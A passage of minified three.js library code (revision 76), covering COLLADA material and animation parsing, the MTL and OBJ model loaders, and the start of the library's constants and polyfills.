THREE.Color,this.color.setRGB(r[0],r[1],r[2]),this.color.a=r[3];break;case"texture":this.texture=i.getAttribute("texture"),this.texcoord=i.getAttribute("texcoord"),this.texOpts={offsetU:0,offsetV:0,repeatU:1,repeatV:1,wrapU:1,wrapV:1},this.parseTexture(i)}}return this},W.prototype.parseTexture=function(e){if(!e.childNodes)return this;e.childNodes[1]&&"extra"===e.childNodes[1].nodeName&&(e=e.childNodes[1],e.childNodes[1]&&"technique"===e.childNodes[1].nodeName&&(e=e.childNodes[1]));for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];switch(i.nodeName){case"offsetU":case"offsetV":case"repeatU":case"repeatV":this.texOpts[i.nodeName]=parseFloat(i.textContent);break;case"wrapU":case"wrapV":this.texOpts[i.nodeName]="TRUE"===i.textContent.toUpperCase()?1:parseInt(i.textContent);break;default:this.texOpts[i.nodeName]=i.textContent}}return this},X.prototype.parse=function(e){for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"emission":case"diffuse":case"specular":case"transparent":this[i.nodeName]=(new W).parse(i);break;case"bump":var r=i.getAttribute("bumptype");r?"heightfield"===r.toLowerCase()?this.bump=(new W).parse(i):"normalmap"===r.toLowerCase()?this.normal=(new W).parse(i):(console.error("Shader.prototype.parse: Invalid value for attribute 'bumptype' ("+r+") - valid bumptypes are 'HEIGHTFIELD' and 'NORMALMAP' - defaulting to 'HEIGHTFIELD'"),this.bump=(new W).parse(i)):(console.warn("Shader.prototype.parse: Attribute 'bumptype' missing from bump node - defaulting to 'HEIGHTFIELD'"),this.bump=(new W).parse(i));break;case"shininess":case"reflectivity":case"index_of_refraction":case"transparency":var n=i.querySelectorAll("float");n.length>0&&(this[i.nodeName]=parseFloat(n[0].textContent))}}return this.create(),this},X.prototype.create=function(){var e={},t=!1;if(void 0!==this.transparency&&void 0!==this.transparent){var i=(this.transparent,(this.transparent.color.r+this.transparent.color.g+this.transparent.color.b)/3*this.transparency);i>0&&(t=!0,e.transparent=!0,e.opacity=1-i)}var r={diffuse:"map",ambient:"lightMap",specular:"specularMap",emission:"emissionMap",bump:"bumpMap",normal:"normalMap"};for(var n in this)switch(n){case"ambient":case"emission":case"diffuse":case"specular":case"bump":case"normal":var o=this[n];if(o instanceof W)if(o.isTexture()){var a=o.texture,s=this.effect.sampler[a];if(void 0!==s&&void 0!==s.source){var c=this.effect.surface[s.source];if(void 0!==c){var u=Pe[c.init_from];if(u){var l,h=_e+u.init_from,d=THREE.Loader.Handlers.get(h);null!==d?l=d.load(h):(l=new THREE.Texture,ye(l,h)),l.wrapS=o.texOpts.wrapU?THREE.RepeatWrapping:THREE.ClampToEdgeWrapping,l.wrapT=o.texOpts.wrapV?THREE.RepeatWrapping:THREE.ClampToEdgeWrapping,l.offset.x=o.texOpts.offsetU,l.offset.y=o.texOpts.offsetV,l.repeat.x=o.texOpts.repeatU,l.repeat.y=o.texOpts.repeatV,e[r[n]]=l,"emission"===n&&(e.emissive=16777215)}}}}else"diffuse"!==n&&t||("emission"===n?e.emissive=o.color.getHex():e[n]=o.color.getHex());break;case"shininess":e[n]=this[n];break;case"reflectivity":e[n]=this[n],e[n]>0&&(e.envMap=qe.defaultEnvMap),e.combine=THREE.MixOperation;break;case"index_of_refraction":e.refractionRatio=this[n],1!==this[n]&&(e.envMap=qe.defaultEnvMap);break;case"transparency":}switch(e.shading=Xe,e.side=this.effect.doubleSided?THREE.DoubleSide:THREE.FrontSide,void 0!==e.diffuse&&(e.color=e.diffuse,delete e.diffuse),this.type){case"constant":void 0!=e.emissive&&(e.color=e.emissive),this.material=new THREE.MeshBasicMaterial(e);break;case"phong":case"blinn":this.material=new THREE.MeshPhongMaterial(e);break;case"lambert":default:this.material=new THREE.MeshLambertMaterial(e)}return this.material},q.prototype.parse=function(e){for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"init_from":this.init_from=i.textContent;break;case"format":this.format=i.textContent;break;default:console.log("unhandled Surface prop: "+i.nodeName)}}return this},Z.prototype.parse=function(e){for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"source":this.source=i.textContent;break;case"minfilter":this.minfilter=i.textContent;break;case"magfilter":this.magfilter=i.textContent;break;case"mipfilter":this.mipfilter=i.textContent;break;case"wrap_s":this.wrap_s=i.textContent;break;case"wrap_t":this.wrap_t=i.textContent;break;default:console.log("unhandled Sampler2D prop: "+i.nodeName)}}return this},K.prototype.create=function(){return null===this.shader?null:void 0},K.prototype.parse=function(e){this.id=e.getAttribute("id"),this.name=e.getAttribute("name"),Me(this,e),this.shader=null;for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"profile_COMMON":this.parseTechnique(this.parseProfileCOMMON(i))}}return this},K.prototype.parseNewparam=function(e){for(var t=e.getAttribute("sid"),i=0;i<e.childNodes.length;i++){var r=e.childNodes[i];if(1==r.nodeType)switch(r.nodeName){case"surface":this.surface[t]=new q(this).parse(r);break;case"sampler2D":this.sampler[t]=new Z(this).parse(r);break;case"extra":break;default:console.log(r.nodeName)}}},K.prototype.parseProfileCOMMON=function(e){for(var t,i=0;i<e.childNodes.length;i++){var r=e.childNodes[i];if(1==r.nodeType)switch(r.nodeName){case"profile_COMMON":this.parseProfileCOMMON(r);break;case"technique":t=r;break;case"newparam":this.parseNewparam(r);break;case"image":var n=(new L).parse(r);Pe[n.id]=n;break;case"extra":break;default:console.log(r.nodeName)}}return t},K.prototype.parseTechnique=function(e){for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"constant":case"lambert":case"blinn":case"phong":this.shader=new X(i.nodeName,this).parse(i);break;case"extra":this.parseExtra(i)}}},K.prototype.parseExtra=function(e){for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"technique":this.parseExtraTechnique(i)}}},K.prototype.parseExtraTechnique=function(e){for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"bump":this.shader.parse(e)}}},J.prototype.parse=function(e){return this.url=e.getAttribute("url").replace(/^#/,""),this},$.prototype.parse=function(e){this.id=e.getAttribute("id"),this.name=e.getAttribute("name"),this.source={};for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"animation":var r=(new $).parse(i);for(var n in r.source)this.source[n]=r.source[n];for(var o=0;o<r.channel.length;o++)this.channel.push(r.channel[o]),this.sampler.push(r.sampler[o]);break;case"source":var n=(new Y).parse(i);this.source[n.id]=n;break;case"sampler":this.sampler.push(new te(this).parse(i));break;case"channel":this.channel.push(new ee(this).parse(i))}}return this},ee.prototype.parse=function(e){this.source=e.getAttribute("source").replace(/^#/,""),this.target=e.getAttribute("target");var t=this.target.split("/"),i=(t.shift(),t.shift()),r=i.indexOf(".")>=0,n=i.indexOf("(")>=0;if(r)t=i.split("."),this.sid=t.shift(),this.member=t.shift();else if(n){var o=i.split("(");this.sid=o.shift();for(var a=0;a<o.length;a++)o[a]=parseInt(o[a].replace(/\)/,""));this.arrIndices=o}else this.sid=i;return this.fullSid=i,this.dotSyntax=r,this.arrSyntax=n,this},te.prototype.parse=function(e){this.id=e.getAttribute("id"),this.inputs=[];for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"input":this.inputs.push((new Q).parse(i))}}return this},te.prototype.create=function(){for(var e=0;e<this.inputs.length;e++){var t=this.inputs[e],i=this.animation.source[t.source];switch(t.semantic){case"INPUT":this.input=i.read();break;case"OUTPUT":this.output=i.read(),this.strideOut=i.accessor.stride;break;case"INTERPOLATION":this.interpolation=i.read();break;case"IN_TANGENT":break;case"OUT_TANGENT":break;default:console.log(t.semantic)}}if(this.startTime=0,this.endTime=0,this.duration=0,this.input.length){this.startTime=1e8,this.endTime=-1e8;for(var e=0;e<this.input.length;e++)this.startTime=Math.min(this.startTime,this.input[e]),this.endTime=Math.max(this.endTime,this.input[e]);this.duration=this.endTime-this.startTime}},te.prototype.getData=function(e,t,i){var r;if("matrix"===e&&16===this.strideOut)r=this.output[t];else if(this.strideOut>1){r=[],t*=this.strideOut;for(var n=0;n<this.strideOut;++n)r[n]=this.output[t+n];if(3===this.strideOut)switch(e){case"rotate":case"translate":xe(r,-1);break;case"scale":xe(r,1)}else 4===this.strideOut&&"matrix"===e&&xe(r,-1)}else r=this.output[t],i&&"translate"===e&&(r=we(i,r));return r},ie.prototype.addTarget=function(e,t,i,r){this.targets.push({sid:e,member:i,transform:t,data:r})},ie.prototype.apply=function(e){for(var t=0;t<this.targets.length;++t){var i=this.targets[t];e&&i.sid!==e||i.transform.update(i.data,i.member)}},ie.prototype.getTarget=function(e){for(var t=0;t<this.targets.length;++t)if(this.targets[t].sid===e)return this.targets[t];return null},ie.prototype.hasTarget=function(e){for(var t=0;t<this.targets.length;++t)if(this.targets[t].sid===e)return!0;return!1},ie.prototype.interpolate=function(e,t){for(var i=0,r=this.targets.length;r>i;i++){var n,o=this.targets[i],a=e.getTarget(o.sid);if("matrix"!==o.transform.type&&a){var s=(t-this.time)/(e.time-this.time),c=a.data,u=o.data;if(0>s&&(s=0),s>1&&(s=1),u.length){n=[];for(var l=0;l<u.length;++l)n[l]=u[l]+(c[l]-u[l])*s}else n=u+(c-u)*s}else n=o.data;o.transform.update(n,o.member)}},re.prototype.parse=function(e){this.id=e.getAttribute("id"),this.name=e.getAttribute("name");for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"optics":this.parseOptics(i)}}return this},re.prototype.parseOptics=function(e){for(var t=0;t<e.childNodes.length;t++)if("technique_common"===e.childNodes[t].nodeName)for(var i=e.childNodes[t],r=0;r<i.childNodes.length;r++)if(this.technique=i.childNodes[r].nodeName,"perspective"===this.technique)for(var n=i.childNodes[r],o=0;o<n.childNodes.length;o++){var a=n.childNodes[o];switch(a.nodeName){case"yfov":this.yfov=a.textContent;break;case"xfov":this.xfov=a.textContent;break;case"znear":this.znear=a.textContent;break;case"zfar":this.zfar=a.textContent;break;case"aspect_ratio":this.aspect_ratio=a.textContent}}else if("orthographic"===this.technique)for(var s=i.childNodes[r],o=0;o<s.childNodes.length;o++){
var a=s.childNodes[o];switch(a.nodeName){case"xmag":this.xmag=a.textContent;break;case"ymag":this.ymag=a.textContent;break;case"znear":this.znear=a.textContent;break;case"zfar":this.zfar=a.textContent;break;case"aspect_ratio":this.aspect_ratio=a.textContent}}return this},ne.prototype.parse=function(e){return this.url=e.getAttribute("url").replace(/^#/,""),this},oe.prototype.parse=function(e){this.id=e.getAttribute("id"),this.name=e.getAttribute("name");for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"technique_common":this.parseCommon(i);break;case"technique":this.parseTechnique(i)}}return this},oe.prototype.parseCommon=function(e){for(var t=0;t<e.childNodes.length;t++)switch(e.childNodes[t].nodeName){case"directional":case"point":case"spot":case"ambient":this.technique=e.childNodes[t].nodeName;for(var i=e.childNodes[t],r=0;r<i.childNodes.length;r++){var n=i.childNodes[r];switch(n.nodeName){case"color":var o=pe(n.textContent);this.color=new THREE.Color(0),this.color.setRGB(o[0],o[1],o[2]),this.color.a=o[3];break;case"falloff_angle":this.falloff_angle=parseFloat(n.textContent);break;case"quadratic_attenuation":var a=parseFloat(n.textContent);this.distance=a?Math.sqrt(1/a):0}}}return this},oe.prototype.parseTechnique=function(e){this.profile=e.getAttribute("profile");for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];switch(i.nodeName){case"intensity":this.intensity=parseFloat(i.textContent)}}return this},ae.prototype.parse=function(e){return this.url=e.getAttribute("url").replace(/^#/,""),this},se.prototype.parse=function(e){this.id=e.getAttribute("id"),this.name=e.getAttribute("name"),this.joints=[],this.links=[];for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"technique_common":this.parseCommon(i)}}return this},se.prototype.parseCommon=function(e){for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(e.childNodes[t].nodeName){case"joint":this.joints.push((new ce).parse(i));break;case"link":this.links.push((new ue).parse(i))}}return this},ce.prototype.parse=function(e){this.sid=e.getAttribute("sid"),this.name=e.getAttribute("name"),this.axis=new THREE.Vector3,this.limits={min:0,max:0},this.type="",this["static"]=!1,this.zeroPosition=0,this.middlePosition=0;var t=e.querySelector("axis"),i=pe(t.textContent);this.axis=Ee(i,0);var r=e.querySelector("limits min")?parseFloat(e.querySelector("limits min").textContent):-360,n=e.querySelector("limits max")?parseFloat(e.querySelector("limits max").textContent):360;this.limits={min:r,max:n};for(var o=["prismatic","revolute"],a=0;a<o.length;a++){var s=o[a],c=e.querySelector(s);c&&(this.type=s)}return this.limits.min>=this.limits.max&&(this["static"]=!0),this.middlePosition=(this.limits.min+this.limits.max)/2,this},ue.prototype.parse=function(e){this.sid=e.getAttribute("sid"),this.name=e.getAttribute("name"),this.transforms=[],this.attachments=[];for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"attachment_full":this.attachments.push((new le).parse(i));break;case"rotate":case"translate":case"matrix":this.transforms.push((new j).parse(i))}}return this},le.prototype.parse=function(e){this.joint=e.getAttribute("joint").split("/").pop(),this.links=[];for(var t=0;t<e.childNodes.length;t++){var i=e.childNodes[t];if(1==i.nodeType)switch(i.nodeName){case"link":this.links.push((new ue).parse(i));break;case"rotate":case"translate":case"matrix":this.transforms.push((new j).parse(i))}}return this},{load:e,parse:t,setPreferredShading:i,applySkin:m,geometries:Ve,options:qe}}},{}],15:[function(){THREE.MTLLoader=function(e){this.manager=void 0!==e?e:THREE.DefaultLoadingManager},THREE.MTLLoader.prototype={constructor:THREE.MTLLoader,load:function(e,t,i,r){var n=this,o=new THREE.XHRLoader(this.manager);o.setPath(this.path),o.load(e,function(e){t(n.parse(e))},i,r)},setPath:function(e){this.path=e},setBaseUrl:function(e){this.baseUrl=e},setCrossOrigin:function(e){this.crossOrigin=e},setMaterialOptions:function(e){this.materialOptions=e},parse:function(e){for(var t=e.split("\n"),i={},r=/\s+/,n={},o=0;o<t.length;o++){var a=t[o];if(a=a.trim(),0!==a.length&&"#"!==a.charAt(0)){var s=a.indexOf(" "),c=s>=0?a.substring(0,s):a;c=c.toLowerCase();var u=s>=0?a.substring(s+1):"";if(u=u.trim(),"newmtl"===c)i={name:u},n[u]=i;else if(i)if("ka"===c||"kd"===c||"ks"===c){var l=u.split(r,3);i[c]=[parseFloat(l[0]),parseFloat(l[1]),parseFloat(l[2])]}else i[c]=u}}var h=new THREE.MTLLoader.MaterialCreator(this.baseUrl,this.materialOptions);return h.setCrossOrigin(this.crossOrigin),h.setManager(this.manager),h.setMaterials(n),h}},THREE.MTLLoader.MaterialCreator=function(e,t){this.baseUrl=e,this.options=t,this.materialsInfo={},this.materials={},this.materialsArray=[],this.nameLookup={},this.side=this.options&&this.options.side?this.options.side:THREE.FrontSide,this.wrap=this.options&&this.options.wrap?this.options.wrap:THREE.RepeatWrapping},THREE.MTLLoader.MaterialCreator.prototype={constructor:THREE.MTLLoader.MaterialCreator,setCrossOrigin:function(e){this.crossOrigin=e},setManager:function(e){this.manager=e},setMaterials:function(e){this.materialsInfo=this.convert(e),this.materials={},this.materialsArray=[],this.nameLookup={}},convert:function(e){if(!this.options)return e;var t={};for(var i in e){var r=e[i],n={};t[i]=n;for(var o in r){var a=!0,s=r[o],c=o.toLowerCase();switch(c){case"kd":case"ka":case"ks":this.options&&this.options.normalizeRGB&&(s=[s[0]/255,s[1]/255,s[2]/255]),this.options&&this.options.ignoreZeroRGBs&&0===s[0]&&0===s[1]&&0===s[1]&&(a=!1)}a&&(n[c]=s)}}return t},preload:function(){for(var e in this.materialsInfo)this.create(e)},getIndex:function(e){return this.nameLookup[e]},getAsArray:function(){var e=0;for(var t in this.materialsInfo)this.materialsArray[e]=this.create(t),this.nameLookup[t]=e,e++;return this.materialsArray},create:function(e){return void 0===this.materials[e]&&this.createMaterial_(e),this.materials[e]},createMaterial_:function(e){var t=this.materialsInfo[e],i={name:e,side:this.side};for(var r in t){var n=t[r];if(""!==n)switch(r.toLowerCase()){case"kd":i.color=(new THREE.Color).fromArray(n);break;case"ks":i.specular=(new THREE.Color).fromArray(n);break;case"map_kd":i.map=this.loadTexture(this.baseUrl+n),i.map.wrapS=this.wrap,i.map.wrapT=this.wrap;break;case"ns":i.shininess=parseFloat(n);break;case"d":1>n&&(i.opacity=n,i.transparent=!0);break;case"Tr":n>0&&(i.opacity=1-n,i.transparent=!0);break;case"map_bump":case"bump":if(i.bumpMap)break;i.bumpMap=this.loadTexture(this.baseUrl+n),i.bumpMap.wrapS=this.wrap,i.bumpMap.wrapT=this.wrap}}return this.materials[e]=new THREE.MeshPhongMaterial(i),this.materials[e]},loadTexture:function(e,t,i,r,n){var o,a=THREE.Loader.Handlers.get(e),s=void 0!==this.manager?this.manager:THREE.DefaultLoadingManager;return null===a&&(a=new THREE.TextureLoader(s)),a.setCrossOrigin&&a.setCrossOrigin(this.crossOrigin),o=a.load(e,i,r,n),void 0!==t&&(o.mapping=t),o}},THREE.EventDispatcher.prototype.apply(THREE.MTLLoader.prototype)},{}],16:[function(){THREE.OBJLoader=function(e){this.manager=void 0!==e?e:THREE.DefaultLoadingManager,this.materials=null,this.regexp={vertex_pattern:/^v\s+([\d|\.|\+|\-|e|E]+)\s+([\d|\.|\+|\-|e|E]+)\s+([\d|\.|\+|\-|e|E]+)/,normal_pattern:/^vn\s+([\d|\.|\+|\-|e|E]+)\s+([\d|\.|\+|\-|e|E]+)\s+([\d|\.|\+|\-|e|E]+)/,uv_pattern:/^vt\s+([\d|\.|\+|\-|e|E]+)\s+([\d|\.|\+|\-|e|E]+)/,face_vertex:/^f\s+(-?\d+)\s+(-?\d+)\s+(-?\d+)(?:\s+(-?\d+))?/,face_vertex_uv:/^f\s+(-?\d+)\/(-?\d+)\s+(-?\d+)\/(-?\d+)\s+(-?\d+)\/(-?\d+)(?:\s+(-?\d+)\/(-?\d+))?/,face_vertex_uv_normal:/^f\s+(-?\d+)\/(-?\d+)\/(-?\d+)\s+(-?\d+)\/(-?\d+)\/(-?\d+)\s+(-?\d+)\/(-?\d+)\/(-?\d+)(?:\s+(-?\d+)\/(-?\d+)\/(-?\d+))?/,face_vertex_normal:/^f\s+(-?\d+)\/\/(-?\d+)\s+(-?\d+)\/\/(-?\d+)\s+(-?\d+)\/\/(-?\d+)(?:\s+(-?\d+)\/\/(-?\d+))?/,object_pattern:/^[og]\s*(.+)?/,smoothing_pattern:/^s\s+(\d+|on|off)/,material_library_pattern:/^mtllib /,material_use_pattern:/^usemtl /}},THREE.OBJLoader.prototype={constructor:THREE.OBJLoader,load:function(e,t,i,r){var n=this,o=new THREE.XHRLoader(n.manager);o.setPath(this.path),o.load(e,function(e){t(n.parse(e))},i,r)},setPath:function(e){this.path=e},setMaterials:function(e){this.materials=e},_createParserState:function(){var e={objects:[],object:{},vertices:[],normals:[],uvs:[],materialLibraries:[],startObject:function(e,t){return this.object&&this.object.fromDeclaration===!1?(this.object.name=e,void(this.object.fromDeclaration=t!==!1)):(this.object={name:e||"",geometry:{vertices:[],normals:[],uvs:[]},material:{name:"",smooth:!0},fromDeclaration:t!==!1},void this.objects.push(this.object))},parseVertexIndex:function(e,t){var i=parseInt(e,10);return 3*(i>=0?i-1:i+t/3)},parseNormalIndex:function(e,t){var i=parseInt(e,10);return 3*(i>=0?i-1:i+t/3)},parseUVIndex:function(e,t){var i=parseInt(e,10);return 2*(i>=0?i-1:i+t/2)},addVertex:function(e,t,i){var r=this.vertices,n=this.object.geometry.vertices;n.push(r[e+0]),n.push(r[e+1]),n.push(r[e+2]),n.push(r[t+0]),n.push(r[t+1]),n.push(r[t+2]),n.push(r[i+0]),n.push(r[i+1]),n.push(r[i+2])},addVertexLine:function(e){var t=this.vertices,i=this.object.geometry.vertices;i.push(t[e+0]),i.push(t[e+1]),i.push(t[e+2])},addNormal:function(e,t,i){var r=this.normals,n=this.object.geometry.normals;n.push(r[e+0]),n.push(r[e+1]),n.push(r[e+2]),n.push(r[t+0]),n.push(r[t+1]),n.push(r[t+2]),n.push(r[i+0]),n.push(r[i+1]),n.push(r[i+2])},addUV:function(e,t,i){var r=this.uvs,n=this.object.geometry.uvs;n.push(r[e+0]),n.push(r[e+1]),n.push(r[t+0]),n.push(r[t+1]),n.push(r[i+0]),n.push(r[i+1])},addUVLine:function(e){var t=this.uvs,i=this.object.geometry.uvs;i.push(t[e+0]),i.push(t[e+1])},addFace:function(e,t,i,r,n,o,a,s,c,u,l,h){var d,p=this.vertices.length,f=this.parseVertexIndex(e,p),m=this.parseVertexIndex(t,p),g=this.parseVertexIndex(i,p);if(void 0===r?this.addVertex(f,m,g):(d=this.parseVertexIndex(r,p),this.addVertex(f,m,d),this.addVertex(m,g,d)),void 0!==n){var v=this.uvs.length;f=this.parseUVIndex(n,v),m=this.parseUVIndex(o,v),g=this.parseUVIndex(a,v),void 0===r?this.addUV(f,m,g):(d=this.parseUVIndex(s,v),this.addUV(f,m,d),this.addUV(m,g,d))}if(void 0!==c){var y=this.normals.length;f=this.parseNormalIndex(c,y),m=c===u?f:this.parseNormalIndex(u,y),g=c===l?f:this.parseNormalIndex(l,y),void 0===r?this.addNormal(f,m,g):(d=this.parseNormalIndex(h,y),this.addNormal(f,m,d),this.addNormal(m,g,d))}},addLineGeometry:function(e,t){this.object.geometry.type="Line";for(var i=this.vertices.length,r=this.uvs.length,n=0,o=e.length;o>n;n++)this.addVertexLine(this.parseVertexIndex(e[n],i));for(var a=0,o=t.length;o>a;a++)this.addUVLine(this.parseUVIndex(t[a],r))}};return e.startObject("",!1),e},parse:function(e){console.time("OBJLoader");var t=this._createParserState();-1!==e.indexOf("\r\n")&&(e=e.replace("\r\n","\n"));for(var i=e.split("\n"),r="",n="",o="",a=0,s=[],c="function"==typeof"".trimLeft,u=0,l=i.length;l>u;u++)if(r=i[u],r=c?r.trimLeft():r.trim(),a=r.length,0!==a&&(n=r.charAt(0),"#"!==n))if("v"===n)if(o=r.charAt(1)," "===o&&null!==(s=this.regexp.vertex_pattern.exec(r)))t.vertices.push(parseFloat(s[1]),parseFloat(s[2]),parseFloat(s[3]));else if("n"===o&&null!==(s=this.regexp.normal_pattern.exec(r)))t.normals.push(parseFloat(s[1]),parseFloat(s[2]),parseFloat(s[3]));else{if("t"!==o||null===(s=this.regexp.uv_pattern.exec(r)))throw new Error("Unexpected vertex/normal/uv line: '"+r+"'");t.uvs.push(parseFloat(s[1]),parseFloat(s[2]))}else if("f"===n)if(null!==(s=this.regexp.face_vertex_uv_normal.exec(r)))t.addFace(s[1],s[4],s[7],s[10],s[2],s[5],s[8],s[11],s[3],s[6],s[9],s[12]);else if(null!==(s=this.regexp.face_vertex_uv.exec(r)))t.addFace(s[1],s[3],s[5],s[7],s[2],s[4],s[6],s[8]);else if(null!==(s=this.regexp.face_vertex_normal.exec(r)))t.addFace(s[1],s[3],s[5],s[7],void 0,void 0,void 0,void 0,s[2],s[4],s[6],s[8]);else{if(null===(s=this.regexp.face_vertex.exec(r)))throw new Error("Unexpected face line: '"+r+"'");t.addFace(s[1],s[2],s[3],s[4])}else if("l"===n){var h=r.substring(1).trim().split(" "),d=[],p=[];if(-1===r.indexOf("/"))d=h;else for(var f=0,m=h.length;m>f;f++){var g=h[f].split("/");""!==g[0]&&d.push(g[0]),""!==g[1]&&p.push(g[1])}t.addLineGeometry(d,p)}else if(null!==(s=this.regexp.object_pattern.exec(r))){var v=s[0].substr(1).trim();t.startObject(v)}else if(this.regexp.material_use_pattern.test(r))t.object.material.name=r.substring(7).trim();else if(this.regexp.material_library_pattern.test(r))t.materialLibraries.push(r.substring(7).trim());else{if(null===(s=this.regexp.smoothing_pattern.exec(r))){if("\x00"===r)continue;throw new Error("Unexpected line: '"+r+"'")}var y=s[1].trim().toLowerCase();t.object.material.smooth="1"===y||"on"===y}var M=new THREE.Group;M.materialLibraries=[].concat(t.materialLibraries);for(var u=0,l=t.objects.length;l>u;u++){var A=t.objects[u],x=A.geometry,w="Line"===x.type;if(0!==x.vertices.length){var E=new THREE.BufferGeometry;E.addAttribute("position",new THREE.BufferAttribute(new Float32Array(x.vertices),3)),x.normals.length>0?E.addAttribute("normal",new THREE.BufferAttribute(new Float32Array(x.normals),3)):E.computeVertexNormals(),x.uvs.length>0&&E.addAttribute("uv",new THREE.BufferAttribute(new Float32Array(x.uvs),2));var b;if(null!==this.materials&&(b=this.materials.create(A.material.name),w&&b&&!(b instanceof THREE.LineBasicMaterial))){var T=new THREE.LineBasicMaterial;T.copy(b),b=T}b||(b=w?new THREE.LineBasicMaterial:new THREE.MeshPhongMaterial,b.name=A.material.name),b.shading=A.material.smooth?THREE.SmoothShading:THREE.FlatShading;var L=w?new THREE.Line(E,b):new THREE.Mesh(E,b);L.name=A.name,M.add(L)}}return console.timeEnd("OBJLoader"),M}}},{}],17:[function(e,i,r){var n={REVISION:"76"};"function"==typeof t&&t.amd?t("three",n):"undefined"!=typeof r&&"undefined"!=typeof i&&(i.exports=n),void 0===Number.EPSILON&&(Number.EPSILON=Math.pow(2,-52)),void 0===Math.sign&&(Math.sign=function(e){return 0>e?-1:e>0?1:+e}),void 0===Function.prototype.name&&void 0!==Object.defineProperty&&Object.defineProperty(Function.prototype,"name",{get:function(){return this.toString().match(/^\s*function\s*(\S*)\s*\(/)[1]}}),void 0===Object.assign&&Object.defineProperty(Object,"assign",{writable:!0,configurable:!0,value:function(e){"use strict";if(void 0===e||null===e)throw new TypeError("Cannot convert first argument to object");for(var t=Object(e),i=1,r=arguments.length;i!==r;++i){var n=arguments[i];if(void 0!==n&&null!==n){n=Object(n);for(var o=Object.keys(n),a=0,s=o.length;a!==s;++a){var c=o[a],u=Object.getOwnPropertyDescriptor(n,c);void 0!==u&&u.enumerable&&(t[c]=n[c])}}}return t}}),n.MOUSE={LEFT:0,MIDDLE:1,RIGHT:2},n.CullFaceNone=0,n.CullFaceBack=1,n.CullFaceFront=2,n.CullFaceFrontBack=3,n.FrontFaceDirectionCW=0,n.FrontFaceDirectionCCW=1,n.BasicShadowMap=0,n.PCFShadowMap=1,n.PCFSoftShadowMap=2,n.FrontSide=0,n.BackSide=1,n.DoubleSide=2,n.FlatShading=1,n.SmoothShading=2,n.NoColors=0,n.FaceColors=1,n.VertexColors=2,n.NoBlending=0,n.NormalBlending=1,n.AdditiveBlending=2,n.SubtractiveBlending=3,n.MultiplyBlending=4,n.CustomBlending=5,n.AddEquation=100,n.SubtractEquation=101,n.ReverseSubtractEquation=102,n.MinEquation=103,n.MaxEquation=104,n.ZeroFactor=200,n.OneFactor=201,n.SrcColorFactor=202,n.OneMinusSrcColorFactor=203,n.SrcAlphaFactor=204,n.OneMinusSrcAlphaFactor=205,n.DstAlphaFactor=206,n.OneMinusDstAlphaFactor=207,n.DstColorFactor=208,n.OneMinusDstColorFactor=209,n.SrcAlphaSaturateFactor=210,n.NeverDepth=0,n.AlwaysDepth=1,n.LessDepth=2,n.LessEqualDepth=3,n.EqualDepth=4,n.GreaterEqualDepth=5,n.GreaterDepth=6,n.NotEqualDepth=7,n.MultiplyOperation=0,n.MixOperation=1,n.AddOperation=2,n.NoToneMapping=0,n.LinearToneMapping=1,n.ReinhardToneMapping=2,n.Uncharted2ToneMapping=3,n.CineonToneMapping=4,n.UVMapping=300,n.CubeReflectionMapping=301,n.CubeRefractionMapping=302,n.EquirectangularReflectionMapping=303,n.EquirectangularRefractionMapping=304,n.SphericalReflectionMapping=305,n.CubeUVReflectionMapping=306,n.CubeUVRefractionMapping=307,n.RepeatWrapping=1e3,n.ClampToEdgeWrapping=1001,n.MirroredRepeatWrapping=1002,n.NearestFilter=1003,n.NearestMipMapNearestFilter=1004,n.NearestMipMapLinearFilter=1005,n.LinearFilter=1006,n.LinearMipMapNearestFilter=1007,n.LinearMipMapLinearFilter=1008,n.UnsignedByteType=1009,n.ByteType=1010,n.ShortType=1011,n.UnsignedShortType=1012,n.IntType=1013,n.UnsignedIntType=1014,n.FloatType=1015,n.HalfFloatType=1025,n.UnsignedShort4444Type=1016,n.UnsignedShort5551Type=1017,n.UnsignedShort565Type=1018,n.AlphaFormat=1019,n.RGBFormat=1020,n.RGBAFormat=1021,n.LuminanceFormat=1022,n.LuminanceAlphaFormat=1023,n.RGBEFormat=n.RGBAFormat,n.DepthFormat=1026,n.RGB_S3TC_DXT1_Format=2001,n.RGBA_S3TC_DXT1_Format=2002,n.RGBA_S3TC_DXT3_Format=2003,n.RGBA_S3TC_DXT5_Format=2004,n.RGB_PVRTC_4BPPV1_Format=2100,n.RGB_PVRTC_2BPPV1_Format=2101,n.RGBA_PVRTC_4BPPV1_Format=2102,n.RGBA_PVRTC_2BPPV1_Format=2103,n.RGB_ETC1_Format=2151,n.LoopOnce=2200,n.LoopRepeat=2201,n.LoopPingPong=2202,n.InterpolateDiscrete=2300,n.InterpolateLinear=2301,n.InterpolateSmooth=2302,n.ZeroCurvatureEnding=2400,n.ZeroSlopeEnding=2401,n.WrapAroundEnding=2402,n.TrianglesDrawMode=0,n.TriangleStripDrawMode=1,n.TriangleFanDrawMode=2,n.LinearEncoding=3e3,n.sRGBEncoding=3001,n.GammaEncoding=3007,n.RGBEEncoding=3002,n.LogLuvEncoding=3003,n.RGBM7Encoding=3004,n.RGBM16Encoding=3005,n.RGBDEncoding=3006,n.B